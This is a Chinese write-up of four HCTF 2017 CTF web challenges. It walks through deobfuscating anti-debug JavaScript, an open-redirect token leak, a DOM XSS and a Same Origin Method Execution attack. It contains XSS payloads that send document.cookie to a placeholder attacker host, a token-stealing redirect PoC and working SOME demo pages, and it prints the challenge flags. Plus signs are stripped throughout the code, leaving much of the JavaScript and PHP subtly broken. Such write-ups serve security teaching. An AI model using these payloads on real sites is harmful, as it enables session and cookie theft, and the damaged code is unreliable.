作者：LoRexxar'@知道创宇404实验室
发表时间：2017年11月15日
11月12日结束的HCTF2017，我总共出了其中4道题目，这4道题目涵盖了我这半年来接触的很多有趣的东西。下面就简单讲讲出题思路以及完整的Writeup。
代码语言：txt复制babycrack
Description
just babycrack
1.flag.substr(-5,3)=="333"
2.flag.substr(-8,1)=="3"
3.Every word makes sence.
4.sha256(flag)=="d3f154b641251e319855a73b010309a168a12927f3873c97d2e5163ea5cbb443"
Now Score 302.93
Team solved 45
A World Restored
Description:
nothing here or all the here ps:flag in admin cookie
flag is login as admin
Now Score 674.44
Team solved 7
A World Restored Again
Description:
New Challenge !!
hint: flag only from admin bot
Now Score 702.6
Team solved 6
Deserted place
Description
maybe nothing here
flag in admin cookie
Now Score 820.35
Team solved 3- babycrack是一道前端js的题目，包含了反调试、代码混淆、逻辑混淆3步。
- A world Restored比较有趣，是一个站库分离的站点。有两个漏洞，一个比较像中间人的信息泄露，另一个是dom xss。
- Deserted place是一个比较古老的技术，叫做SOME，但是了解细节的人非常少。
babycrack
还是很抱歉题目的验证逻辑还是出现了不可逆推的问题，被迫在比赛中途加入4个hint来修复问题，下面我们来慢慢看看代码。
题目源码如下
https://github.com/LoRexxar/HCTF2017-babycrack
整个题目由反调试 代码混淆 逻辑混淆3部分组成，你可以说题目毫无意义完全为了出题而出题，但是这种代码确实最最真实的前端代码，现在许多站点都会选择使用反调试 混淆 一定程度的代码混淆来混淆部分前端代码。
出题思路主要有两篇文章：
- http://www.jianshu.com/p/9148d215c119
- https://zhuanlan.zhihu.com/p/29214928
整个题目主要是在我分析chrome拓展后门时候构思的，代码同样经过了很多重的混淆，让我们来一步步解释。
反调试
第一部分是反调试，当在页面内使用F12来调试代码时，会卡死在debugger代码处。
这里举个例子就是蘑菇街的登陆验证代码。
具体代码是这样的
代码语言：txt复制eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\w '};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\b' e(c) '\b','g'),k[c]);return p}('(3(){(3 a(){7{(3 b(2){9(('' (2/2)).5!==1||2%g===0){(3(){}).8('4')()}c{4}b( 2)})(0)}d(e){f(a,6)}})()})();',17,17,'||i|function|debugger|length|5000|try|constructor|if|||else|catch||setTimeout|20'.split('|'),0,{}));美化一下
代码语言：txt复制(function () {
(function a() {
try {
(function b(i) {
if (('' (i / i)).length !== 1 || i % 20 === 0) {
(function () {}).constructor('debugger')()
} else {
debugger
}
b( i)
})(0)
} catch (e) {
setTimeout(a, 5000)
}
})()
})();这就是比较常见的反调试。我这里提供3种办法来解决这步。
1、使用node做代码调试。
由于这里的debugger检测的是浏览器的调试，如果直接对代码调试就不会触发这样的问题。
2、静态分析
因为题目中代码较少，我没办法把代码混入深层逻辑，导致代码可以纯静态分析。
3、patch debugger函数
由于debugger本身只会触发一次，不会无限制的卡死调试器，这里会出现这种情况，主要是每5s轮询检查一次。那么我们就可以通过patch settimeout函数来绕过。
代码语言：txt复制window._setTimeout = window.setTimeout;
window.setTimeout = function () {};这里可以用浏览器插件TamperMonkey解决问题。
除了卡死debug以外，我还加入了轮询刷新console的代码。
代码语言：txt复制setInterval("window.console.log('Welcome to HCTF :>')", 50);同样的办法可以解决，就不多说了。
代码混淆
在去除掉这部分无用代码之后，我们接着想办法去除代码混淆。
这里最外层的代码混淆，我是通过https://github.com/javascript-obfuscator/javascript-obfuscator做了混淆。
ps:因为我在代码里加入了es6语法，市面上的很多工具都不支持es6语法，会导致去混淆的代码语法错误！
更有趣的是，这种混淆是不可逆的，所以我们只能通过逐渐去混淆的方式来美化代码。
我们可以先简单美化一下代码格式
代码语言：txt复制(function (_0xd4b7d6, _0xad25ab) {
var _0x5e3956 = function (_0x1661d3) {
while (--_0x1661d3) {
_0xd4b7d6['push'](_0xd4b7d6['shift']());
}
};
_0x5e3956( _0xad25ab);
}(_0x180a, 0x1a2));
var _0xa180 = function (_0x5c351c, _0x2046d8) {
_0x5c351c = _0x5c351c - 0x0;
var _0x26f3b3 = _0x180a[_0x5c351c];
return _0x26f3b3;
};
function check(_0x5b7c0c) {
try {
var _0x2e2f8d = ['code', _0xa180('0x0'), _0xa180('0x1'), _0xa180('0x2'), 'invalidMonetizationCode', _0xa180('0x3'), _0xa180('0x4'), _0xa180('0x5'), _0xa180('0x6'), _0xa180('0x7'), _0xa180('0x8'), _0xa180('0x9'), _0xa180('0xa'), _0xa180('0xb'), _0xa180('0xc'), _0xa180('0xd'), _0xa180('0xe'), _0xa180('0xf'), _0xa180('0x10'), _0xa180('0x11'), 'url', _0xa180('0x12'), _0xa180('0x13'), _0xa180('0x14'), _0xa180('0x15'), _0xa180('0x16'), _0xa180('0x17'), _0xa180('0x18'), 'tabs', _0xa180('0x19'), _0xa180('0x1a'), _0xa180('0x1b'), _0xa180('0x1c'), _0xa180('0x1d'), 'replace', _0xa180('0x1e'), _0xa180('0x1f'), 'includes', _0xa180('0x20'), 'length', _0xa180('0x21'), _0xa180('0x22'), _0xa180('0x23'), _0xa180('0x24'), _0xa180('0x25'), _0xa180('0x26'), _0xa180('0x27'), _0xa180('0x28'), _0xa180('0x29'), 'toString', _0xa180('0x2a'), 'split'];
var _0x50559f = _0x5b7c0c[_0x2e2f8d[0x5]](0x0, 0x4);
var _0x5cea12 = parseInt(btoa(_0x50559f), 0x20);
eval(function (_0x200db2, _0x177f13, _0x46da6f, _0x802d91, _0x2d59cf, _0x2829f2) {
_0x2d59cf = function (_0x4be75f) {
return _0x4be75f['toString'](_0x177f13);
};
if (!'' ['replace'](/^/, String)) {
while (_0x46da6f--) _0x2829f2[_0x2d59cf(_0x46da6f)] = _0x802d91[_0x46da6f] || _0x2d59cf(_0x46da6f);
_0x802d91 = [function (_0x5e8f1a) {
return _0x2829f2[_0x5e8f1a];
}];
_0x2d59cf = function () {
return _0xa180('0x2b');
};
_0x46da6f = 0x1;
};
while (_0x46da6f--)
if (_0x802d91[_0x46da6f]) _0x200db2 = _0x200db2[_0xa180('0x2c')](new RegExp('x5cb' _0x2d59cf(_0x46da6f) 'x5cb', 'g'), _0x802d91[_0x46da6f]);
return _0x200db2;
}(_0xa180('0x2d'), 0x11, 0x11, _0xa180('0x2e')['split']('|'), 0x0, {}));
(function (_0x3291b7, _0xced890) {
var _0xaed809 = function (_0x3aba26) {
while (--_0x3aba26) {
_0x3291b7[_0xa180('0x4')](_0x3291b7['shift']());
}
};
_0xaed809( _0xced890);
}(_0x2e2f8d, _0x5cea12 % 0x7b));
var _0x43c8d1 = function (_0x3120e0) {
var _0x3120e0 = parseInt(_0x3120e0, 0x10);
var _0x3a882f = _0x2e2f8d[_0x3120e0];
return _0x3a882f;
};
var _0x1c3854 = function (_0x52ba71) {
var _0x52b956 = '0x';
for (var _0x59c050 = 0x0; _0x59c050 < _0x52ba71[_0x43c8d1(0x8)]; _0x59c050 ) {
_0x52b956 = _0x52ba71[_0x43c8d1('f')](_0x59c050)[_0x43c8d1(0xc)](0x10);
}
return _0x52b956;
};
var _0x76e1e8 = _0x5b7c0c[_0x43c8d1(0xe)]('_');
var _0x34f55b = (_0x1c3854(_0x76e1e8[0x0][_0x43c8d1(0xd)](-0x2, 0x2)) ^ _0x1c3854(_0x76e1e8[0x0][_0x43c8d1(0xd)](0x4, 0x1))) % _0x76e1e8[0x0][_0x43c8d1(0x8)] == 0x5;
if (!_0x34f55b) {
return ![];
}
b2c = function (_0x3f9bc5) {
var _0x3c3bd8 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567';
var _0x4dc510 = [];
var _0x4a199f = Math[_0xa180('0x25')](_0x3f9bc5[_0x43c8d1(0x8)] / 0x5);
var _0x4ee491 = _0x3f9bc5[_0x43c8d1(0x8)] % 0x5;
if (_0x4ee491 != 0x0) {
for (var _0x1e1753 = 0x0; _0x1e1753 < 0x5 - _0x4ee491; _0x1e1753 ) {
_0x3f9bc5 = '';
}
_0x4a199f = 0x1;
}
for (_0x1e1753 = 0x0; _0x1e1753 < _0x4a199f; _0x1e1753 ) {
_0x4dc510[_0x43c8d1('1b')](_0x3c3bd8[_0x43c8d1('1d')](_0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5) >> 0x3));
_0x4dc510[_0x43c8d1('1b')](_0x3c3bd8[_0x43c8d1('1d')]((_0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5) & 0x7) << 0x2 | _0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5 0x1) >> 0x6));
_0x4dc510[_0x43c8d1('1b')](_0x3c3bd8[_0x43c8d1('1d')]((_0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5 0x1) & 0x3f) >> 0x1));
_0x4dc510[_0x43c8d1('1b')](_0x3c3bd8[_0x43c8d1('1d')]((_0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5 0x1) & 0x1) << 0x4 | _0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5 0x2) >> 0x4));
_0x4dc510[_0x43c8d1('1b')](_0x3c3bd8[_0x43c8d1('1d')]((_0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5 0x2) & 0xf) << 0x1 | _0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5 0x3) >> 0x7));
_0x4dc510[_0x43c8d1('1b')](_0x3c3bd8[_0x43c8d1('1d')]((_0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5 0x3) & 0x7f) >> 0x2));
_0x4dc510[_0x43c8d1('1b')](_0x3c3bd8[_0x43c8d1('1d')]((_0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5 0x3) & 0x3) << 0x3 | _0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5 0x4) >> 0x5));
_0x4dc510[_0x43c8d1('1b')](_0x3c3bd8[_0x43c8d1('1d')](_0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5 0x4) & 0x1f));
}
var _0x545c12 = 0x0;
if (_0x4ee491 == 0x1) _0x545c12 = 0x6;
else if (_0x4ee491 == 0x2) _0x545c12 = 0x4;
else if (_0x4ee491 == 0x3) _0x545c12 = 0x3;
else if (_0x4ee491 == 0x4) _0x545c12 = 0x1;
for (_0x1e1753 = 0x0; _0x1e1753 < _0x545c12; _0x1e1753 ) _0x4dc510[_0xa180('0x2f')]();
for (_0x1e1753 = 0x0; _0x1e1753 < _0x545c12; _0x1e1753 ) _0x4dc510[_0x43c8d1('1b')]('=');
(function () {
(function _0x3c3bd8() {
try {
(function _0x4dc510(_0x460a91) {
if (('' _0x460a91 / _0x460a91)[_0xa180('0x30')] !== 0x1 || _0x460a91 % 0x14 === 0x0) {
(function () {}['constructor']('debugger')());
} else {
debugger;
}
_0x4dc510( _0x460a91);
}(0x0));
} catch (_0x30f185) {
setTimeout(_0x3c3bd8, 0x1388);
}
}());
}());
return _0x4dc510[_0xa180('0x31')]('');
};
e = _0x1c3854(b2c(_0x76e1e8[0x2])[_0x43c8d1(0xe)]('=')[0x0]) ^ 0x53a3f32;
if (e != 0x4b7c0a73) {
return ![];
}
f = _0x1c3854(b2c(_0x76e1e8[0x3])[_0x43c8d1(0xe)]('=')[0x0]) ^ e;
if (f != 0x4315332) {
return ![];
}
n = f * e * _0x76e1e8[0x0][_0x43c8d1(0x8)];
h = function (_0x4c466e, _0x28871) {
var _0x3ea581 = '';
for (var _0x2fbf7a = 0x0; _0x2fbf7a < _0x4c466e[_0x43c8d1(0x8)]; _0x2fbf7a ) {
_0x3ea581 = _0x28871(_0x4c466e[_0x2fbf7a]);
}
return _0x3ea581;
};
j = _0x76e1e8[0x1][_0x43c8d1(0xe)]('3');
if (j[0x0][_0x43c8d1(0x8)] != j[0x1][_0x43c8d1(0x8)] || (_0x1c3854(j[0x0]) ^ _0x1c3854(j[0x1])) != 0x1613) {
return ![];
}
k = _0xffcc52 => _0xffcc52[_0x43c8d1('f')]() * _0x76e1e8[0x1][_0x43c8d1(0x8)];
l = h(j[0x0], k);
if (l != 0x2f9b5072) {
return ![];
}
m = _0x1c3854(_0x76e1e8[0x4][_0x43c8d1(0xd)](0x0, 0x4)) - 0x48a05362 == n % l;
function _0x5a6d56(_0x5a25ab, _0x4a4483) {
var _0x55b09f = '';
for (var _0x508ace = 0x0; _0x508ace < _0x4a4483; _0x508ace ) {
_0x55b09f = _0x5a25ab;
}
return _0x55b09f;
}
if (!m || _0x5a6d56(_0x76e1e8[0x4][_0x43c8d1(0xd)](0x5, 0x1), 0x2) == _0x76e1e8[0x4][_0x43c8d1(0xd)](-0x5, 0x4) || _0x76e1e8[0x4][_0x43c8d1(0xd)](-0x2, 0x1) - _0x76e1e8[0x4][_0x43c8d1(0xd)](0x4, 0x1) != 0x1) {
return ![];
}
o = _0x1c3854(_0x76e1e8[0x4][_0x43c8d1(0xd)](0x6, 0x2))[_0x43c8d1(0xd)](0x2) == _0x76e1e8[0x4][_0x43c8d1(0xd)](0x6, 0x1)[_0x43c8d1('f')]() * _0x76e1e8[0x4][_0x43c8d1(0x8)] * 0x5;
return o && _0x76e1e8[0x4][_0x43c8d1(0xd)](0x4, 0x1) == 0x2 && _0x76e1e8[0x4][_0x43c8d1(0xd)](0x6, 0x2) == _0x5a6d56(_0x76e1e8[0x4][_0x43c8d1(0xd)](0x7, 0x1), 0x2);
} catch (_0x4cbb89) {
console['log']('gg');
return ![];
}
}代码里主要有几点混淆：
1、变量名替换，a --> _0xd4b7d6，这种东西最烦，但是也最简单，批量替换，在我看来即使abcd这种变量也比这个容易读
2、提取了所有的方法到一个数组，这种也简单，只要在chrome中逐步调试替换就可以了。
还有一些小的细节，很常见，没什么可说的
代码语言：txt复制"s".length() --> "s"['length']()最终代码可以优化到这个地步，基本已经可读了，下一步就是分析代码了。
代码语言：txt复制function check(flag){
var _ = ['x63x6fx64x65', 'x76x65x72x73x69x6fx6e', 'x65x72x72x6fx72', 'x64x6fx77x6ex6cx6fx61x64', 'x69x6ex76x61x6cx69x64x4dx6fx6ex65x74x69x7ax61x74x69x6fx6ex43x6fx64x65', 'x54x6ax50x7ax6cx38x63x61x49x34x31', 'x4bx49x31x30x77x54x77x77x76x46x37', 'x46x75x6ex63x74x69x6fx6e', 'x72x75x6e', 'x69x64x6cx65', 'x70x79x57x35x46x31x55x34x33x56x49', 'x69x6ex69x74', 'x68x74x74x70x73x3ax2fx2fx74x68x65x2dx65x78x74x65x6ex73x69x6fx6ex2ex63x6fx6d', 'x6cx6fx63x61x6c', 'x73x74x6fx72x61x67x65', 'x65x76x61x6c', 'x74x68x65x6e', 'x67x65x74', 'x67x65x74x54x69x6dx65', 'x73x65x74x55x54x43x48x6fx75x72x73', 'x75x72x6c', 'x6fx72x69x67x69x6e', 'x73x65x74', 'x47x45x54', 'x6cx6fx61x64x69x6ex67', 'x73x74x61x74x75x73', 'x72x65x6dx6fx76x65x4cx69x73x74x65x6ex65x72', 'x6fx6ex55x70x64x61x74x65x64', 'x74x61x62x73', 'x63x61x6cx6cx65x65', 'x61x64x64x4cx69x73x74x65x6ex65x72', 'x6fx6ex4dx65x73x73x61x67x65', 'x72x75x6ex74x69x6dx65', 'x65x78x65x63x75x74x65x53x63x72x69x70x74', 'x72x65x70x6cx61x63x65', 'x64x61x74x61', 'x74x65x73x74', 'x69x6ex63x6cx75x64x65x73', 'x68x74x74x70x3ax2fx2f', 'x6cx65x6ex67x74x68', 'x55x72x6cx20x65x72x72x6fx72', 'x71x75x65x72x79', 'x66x69x6cx74x65x72', 'x61x63x74x69x76x65', 'x66x6cx6fx6fx72', 'x72x61x6ex64x6fx6d', 'x63x68x61x72x43x6fx64x65x41x74', 'x66x72x6fx6dx43x68x61x72x43x6fx64x65', 'x70x61x72x73x65'];
var head = flag['substring'](0, 4);
var base = parseInt(btoa(head), 0x20); //344800
(function (b, c) {
var d = function (a) {
while (--a) {
b['push'](b['shift']())
}
};
d( c);
}(_, base3));
var g = function (a) {
var a = parseInt(a, 0x10);
var c = _[a];
return c;
};
var s2h = function(str){
var result = "0x";
for(var i=0;i<str['length'];i ){
result = str['charCodeAt'](i)['toString'](16)
}
return result;
}
var b = flag['split']("_");
var c = (s2h(b[0]['substr'](-2,2)) ^ s2h(b[0]['substr'](4,1))) % b[0]['length'] == 5;
if(!c){
return false;
}
b2c = function(s) {
var alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567";
var parts = [];
var quanta = Math.floor((s['length'] / 5));
var leftover = s['length'] % 5;
if (leftover != 0) {
for (var i = 0; i < (5 - leftover); i ) {
s = 'x00';
}
quanta = 1;
}
for (i = 0; i < quanta; i ) {
parts.push(alphabet.charAt(s['charCodeAt'](i * 5) >> 3));
parts.push(alphabet.charAt(((s['charCodeAt'](i * 5) & 0x07) << 2) | (s['charCodeAt'](i * 5 1) >> 6)));
parts.push(alphabet.charAt(((s['charCodeAt'](i * 5 1) & 0x3F) >> 1)));
parts.push(alphabet.charAt(((s['charCodeAt'](i * 5 1) & 0x01) << 4) | (s['charCodeAt'](i * 5 2) >> 4)));
parts.push(alphabet.charAt(((s['charCodeAt'](i * 5 2) & 0x0F) << 1) | (s['charCodeAt'](i * 5 3) >> 7)));
parts.push(alphabet.charAt(((s['charCodeAt'](i * 5 3) & 0x7F) >> 2)));
parts.push(alphabet.charAt(((s['charCodeAt'](i * 5 3) & 0x03) << 3) | (s['charCodeAt'](i * 5 4) >> 5)));
parts.push(alphabet.charAt(((s['charCodeAt'](i * 5 4) & 0x1F))));
}
var replace = 0;
if (leftover == 1)
replace = 6;
else if (leftover == 2)
replace = 4;
else if (leftover == 3)
replace = 3;
else if (leftover == 4)
replace = 1;
for (i = 0; i < replace; i )
parts.pop();
for (i = 0; i < replace; i )
parts.push("=");
return parts.join("");
}
e = s2h(b2c(b[2])['split']("=")[0])^0x53a3f32
if(e != 0x4b7c0a73){
return false;
}
f = s2h(b2c(b[3])['split']("=")[0]) ^ e;
if(f != 0x4315332){
return false;
}
n = f*e*b[0]['length'];
h = function(str, func){
var result = "";
for(var i=0;i<str['length'];i ){
result = func(str[i])
}
return result;
}
j = b[1]['split']("3");
if(j[0]['length'] != j[1]['length'] || (s2h(j[0])^s2h(j[1])) != 0x1613){
return false;
}
k = str => str['charCodeAt']()*b[1]['length'];
l = h(j[0],k);
if(l!=0x2f9b5072){
return false;
}
m = s2h(b[4]['substr'](0,4))-0x48a05362 == n%l;
function u(str, j){
var result = "";
for(var i=0;i<j;i ){
result = str;
}
return result;
}
if(!m || u(b[4]['substr'](5,1),2) == b[4]['substr'](-5,4) || (b[4]['substr'](-2,1) - b[4]['substr'](4,1)) != 1){
return false
}
o = s2h(b[4]['substr'](6,2))['substr'](2) == b[4]['substr'](6,1)['charCodeAt']()*b[4]['length']*5;
return o && b[4]['substr'](4,1) == 2 && b[4]['substr'](6,2) == u(b[4]['substr'](7,1),2);
}剩下的代码已经没什么可说的了。
- 首先是确认flag前缀，然后按照
_分割为5部分。 - g函数对基础数组做了一些处理，已经没什么懂了。
- s2h是字符串到hex的转化函数
- 第一部分的验证不完整，导致严重的多解，只能通过爆破是否符合sha256来解决。
- 后面引入的b2c函数很简单，测试就能发现是一个base32函数。
- 第三部分和第四部分最简单，异或可得
- h函数会对输入的字符串每位做func函数处理，然后拼接起来。
- 第二部分由3分割，左右两边长度相等，同样可以推算出结果。
- k是我专门加入的es6语法的箭头语法，对传入的每个字母做乘7操作。
- 最后一题通过简单的判断，可以确定最后一部分的前四位。
- u函数返回指定字符串的指定前几位
- 剩下的就是一连串的条件:
- 首先是一些很关键的的重复位，由于我写错了一些东西，导致这里永远是false，后被迫给出这几位.
!m || u(b[4]['substr'](5,1),2) == b[4]['substr'](-5,4) || (b[4]['substr'](-2,1) - b[4]['substr'](4,1)) != 1 - 最后一部分是集合长度、以及部分条件完成的，看上去存在多解，但事实上是能逆向出来结果的。
当我们都完成这部分的时候，flag就会被我们解出来了。
A World Restored
题目源码如下：
https://github.com/LoRexxar/HCTF2017-A-World-Restored
A World Restored在出题思路本身是来自于uber在10月14号公开的一个漏洞https://stamone-bug-bounty.blogspot.jp/2017/10/dom-xss-auth_14.html，为了能尽可能的模拟真实环境，我这个不专业的Web开发只能强行上手实现站库分离。
其中的一部分非预期，也都是因为站库分离实现的不好而导致的。（更开放的题目环境，导致了很多可能，或许这没什么不好的？
整个站的结构是这样的：
- auth站负责用户数据的处理，包括登陆验证、注册等，是数据库所在站。
- messbox站负责用户的各种操作，但不连接数据库。
这里auth站与messbox站属于两个完全不同的域，受到同源策略的影响，我们就需要有办法来沟通两个站。
而这里，我选择使用token做用户登陆的校验 jsonp来获取用户数据。站点结构如下:
简单来说就是，messbox登陆账号完全受到token校验，即使你在完全不知道账号密码的情况下，获取该token就可以登陆账号。
那么怎么获取token登陆admin账号就是第一题。
而第二题，漏洞点就是上面文章中写的那样，反射性的domxss，可以得到服务端的flag。
为了两个flag互不干扰，我对服务端做了一定的处理，服务端负责处理flag的代码如下：
代码语言：txt复制$flag1 = "hctf{xs5_iz_re4lly_complex34e29f}";
$flag2 = "hctf{mayb3_m0re_way_iz_best_for_ctf}";
if(!empty($_SESSION['user'])){
if($_SESSION['user'] === 'hctf_admin_LoRexxar2e23322'){
setcookie("flag", $flag, time() 3600*48," ","messbox.2017.hctf.io", 0, true);
}
if($_SESSION['user'] === 'hctf_admin_LoRexxar2e23322' && $_GET['check']=="233e"){
setcookie("flag2", $flag2, time() 3600*48," ",".2017.hctf.io");
}
}可以很明显的看出来，flag1是httponly并在messbox域下，只能登陆才能查看。flag2我设置了check位，只有bot才会访问这个页面，这样只有通过反射性xss，才能得到flag。
下面我们回到题目。
A World Restored
代码语言：txt复制A World Restored
Description:
nothing here or all the here ps:flag in admin cookie
flag is login as admin
URL http://messbox.2017.hctf.io
Now Score 674.44
Team solved 7这道题目在比赛结束时，只有7只队伍最终完成了，非常出乎我的意料，因为漏洞本身非常有意思。（这个漏洞是ROIS发现的）
为了能够实现token，我设定了token不可逆的二重验证策略，但是在题目中我加入了一个特殊的接口，让我们回顾一下。
auth域中的login.php，我加入了这样一段代码
代码语言：txt复制if(!empty($_GET['n_url'])){
$n_url = trim($_GET['n_url']);
echo "<script nonce='{$random}'>window.location.href='".$n_url."?token=".$usertoken."'</script>";
exit;
}else{
// header("location: http://messbox.hctf.com?token=".$usertoken);
echo "<script nonce='{$random}'>window.location.href='http://messbox.2017.hctf.io?token=".$usertoken."'</script>";
exit;
}这段代码也是两个漏洞的核心漏洞点，假设你在未登录状态下访问messbox域下的user.php或者report.php这两个页面，那么因为未登录，页面会跳转到auth域并携带n_url，如果获取到登陆状态，这里就会拼接token传回messbox域，并赋予登陆状态。
简单的流程如下：
代码语言：txt复制未登录->获取当前URL->跳转至auth->获取登陆状态->携带token跳转到刚才获取的URL->messbox登陆成功当然，这其中是有漏洞的。
服务端bot必然登陆了admin账号，如果我们直接请求login.php并制定下一步跳转的URL，那么我们就可以获取拼接上的token！
代码语言：txt复制poc
http://auth.2017.hctf.io/login.php?n_url=http://{you_website}得到token我们就可以登陆messbox域，成功登陆admin
A World Restored Again
代码语言：txt复制A World Restored Again
Description:
New Challenge !!
hint: flag only from admin bot
URL http://messbox.2017.hctf.io
Now Score 702.6
Team solved 6到了第二部，自然就是xss了，其实题目本身非常简单，在出题之初，为了避免题目出现“垃圾时间”（因为非预期导致题目不可解），我在题目中加入了跟多元素。
并把flag2放置在.2017.hctf.io域下，避免有人找到messbox的xss但是打不到flag的问题。（没想到真的用上了）
这里我就简单描述下预期解法和非预期解法两个。
预期解法
预期解法当然来自于出题思路。
https://stamone-bug-bounty.blogspot.jp/2017/10/dom-xss-auth_14.html
漏洞本身非常简单，但有意思的是利用思路。
当你发现了一个任意URL跳转的漏洞，会不会考虑漏洞是怎么发生的？
也许你平时可能没注意过，但跳转一般是分两种的，第一种是服务端做的，利用header: location,这种跳转我们没办法阻止。第二种是js使用location.href导致的跳转。
既然是js实现的，那么是不是有可能存在dom xss漏洞呢？
这个uber的漏洞由来就是如此。
这里唯一的考点就是，js是一种顺序执行的语言，如果location报错，那么就不会继续执行后面的js，如果location不报错，那么就可能在执行下一句之前跳转走。
当然，办法很多。最普通的可能是在location后使用stop()来阻止跳转，但最好用的就是新建script块，这样上一个script报错不会影响到下一个script块。
最终payload
代码语言：txt复制</script><script src="http://auth.hctf.com/getmessage.php?callback=window.location.href='http://xxx?cookie=' document.cookie;//"></script
exp
http://auth.2017.hctf.io/login.php?n_url=>非预期解法
除了上面的漏洞以外，messbox也有漏洞，username在首页没有经过任何过滤就显示在了页面内。
但username这里漏洞会有一些问题，因为本身预期的漏洞点并不是这里，所以这里的username经过我框架本身的一点儿过滤，而且长度有限制，所以从这里利用的人会遇到很多非预期的问题。
payload如下，注册名为
代码语言：txt复制<script src=//auth.2017.hctf.io/getmessage.php?callback=location='http://xxx/'+btoa(document.cookie);//></script>的用户名，并获取token。
传递
代码语言：txt复制http://messbox.2017.hctf.io/?token=NDYyMGZlMTNhNWM3YTAxY3xQSE5qY21sd2RDQnpjb
U05THk5aGRYUm9Makl3TVRjdWFHTjBaaTVwYnk5blpYUnRaWE56WVdkbExuQm9jRDlqWVd4c1ltR
mphejFzYjJOaGRHbHZiajBsTWpkb2RIUndPaTh2Y205dmRHc3VjSGN2SlRJM0pUSmlZblJ2WVNoa
2IyTjFiV1Z1ZEM1amIyOXJhV1VwT3k4dlBqd3ZjMk55YVhCMFBnPT0=即可
Deserted place
出题思路来自于一个比较特别的叫做SOME的攻击方式，全名Same Origin Method Execution，这是一种2015年被人提出来的攻击方式，可以用来执行同源环境下的任意方法，2年前就有人做了分析。
- 原paper
- http://blog.safedog.cn/?p=13
- https://lightless.me/archives/same-origin-method-exection.html
题目源码如下
https://github.com/LoRexxar/HCTF2017-Deserted-place
我们一起来研究一下
SOME？
首先我们一起来探究一个SOME是什么？
SOMe,Same Origin Method Execution,这是Ben Hayak 在 Black Hat Eorope 2014 演讲的题目。在随后的15年，公开了SOME相关的完整paper，其中讲述了和SOME相关的各种场景和利用思路。有兴趣的朋友可以去看看视频.
https://www.youtube.com/watch?v=OvarkOxxdic
我们都知道jsonp是用来解决跨域处理数据问题的解决方案，但是也许会有这样一种情况出现，某个网站的某个富文本编辑器支持选择字体颜色，当你点击按钮的时候，会弹出类似于颜色点选器的轮盘网页，当你选择某一颜色时，这个颜色就会修改原页面的字体页面，这个接口或许是这样实现的。
代码语言：txt复制http://a.com/color.php?callback=get_colorcolor.php的代码是这样的
代码语言：txt复制<script>
function get_color(data) {
// todo here
}
</script>
<script>
<?php echo $_GET['callback']."();"; ?>
</script>当访问color.php的时候，页面就会自动执行get_color，这个页面和父页面同源，结构也和传统的jsonp接口不太一样，但这种情况完全有可能发生。
一般来说，我们可能会尝试在get_color尝试domxss，遗憾的是，大部分这样的接口都只允许.w 的字符输入。
而SOME攻击，就是在这种场景下出现的，在callback这里的缺陷可以导致执行同源下的任意方法，值得注意的是，这种攻击方法并不是csrf，他可以完全模拟你的任何行为。
这种攻击方式有几个局限性:
1、受到返回头的影响，如果返回头为Content-T ype: application/json,则任何利用都不会生效。
2、攻击者没办法操作执行函数传入参数，或者可以说是比较难操作。
3、受到同源策略的限制，只能执行同源下的任意方法。
让我们来测试一下
首先我们需要一个站点来模拟一下
index.html
代码语言：txt复制<form>
<button onclick="c()">Secret Button</button>
</form>
<script>
function c() {
alert("LoRexxar click!");
}
</script>jsonp.php
代码语言：txt复制<?php
$callback = empty($_GET["callback"]) ? "jsCallback" : $_GET["callback"];
echo "<script>";
echo $callback . "()";
echo "</script>";我们假设click是一个敏感的按钮，这种情况我们可以通过SOME来点击这个按钮来执行相应的js。
首先我们需要一个some1.html
代码语言：txt复制<script>
function start_some() {
window.open("some2.html");
location.replace("http://b.com/index.html");
}
setTimeout(start_some(), 1000);
</script>其次需要一个some2.html
代码语言：txt复制<script>
function attack() {
location.replace("http://b.com/jsonp.php?callback=window.opener.document.body.firstElementChild.firstElementChild.click");
}
setTimeout(attack, 2000);
</script>当我们打开some1.html的时候，c函数成功被执行了
这种攻击方式在大型站点越发的常见，SOME的作者举例子就用了wordpress的一个漏洞，通过接口可以在wordpress中安装想要的插件，导致getshell等更严重的漏洞。
Deserted place Writeup
回到题目。
打开题目主要功能有限：
- 登陆
- 注册
- 修改个人信息（修改个人信息后按回车更新自己的信息）、
- 获取随机一个人的信息，并把它的信息更新给我自己
简单测试可以发现，个人信息页面存在self-xss，但问题就在于怎么能更新admin的个人信息。
仔细回顾站内的各种信息，我们能发现所有的更新个人信息都是通过开启子窗口来实现的。
edit.php里面有一个类似于jsonp的接口可以执行任意函数，简单测试可以发现这里正则匹配了.w ，这意味这我们只能执行已有的js函数，我们可以看看后台的代码。
$callback = $_GET['callback'];
preg_match("/w /i", $callback, $matches);
...
echo "<script>";
echo $matches[0]."();";
echo "</script>";已有的函数一共有3个
代码语言：txt复制function UpdateProfile(){
var username = document.getElementById('user').value;
var email = document.getElementById('email').value;
var message = document.getElementById('mess').value;
window.opener.document.getElementById("email").innerHTML="Email: " email;
window.opener.document.getElementById("mess").innerHTML="Message: " message;
console.log("Update user profile success...");
window.close();
}
function EditProfile(){
document.onkeydown=function(event){
if (event.keyCode == 13){
UpdateProfile();
}
}
}
function RandomProfile(){
setTimeout('UpdateProfile()', 1000);
}如果执行UpdateProfile，站内就会把子窗口的内容发送到父窗口中。但是我们还是没办法控制修改的内容。
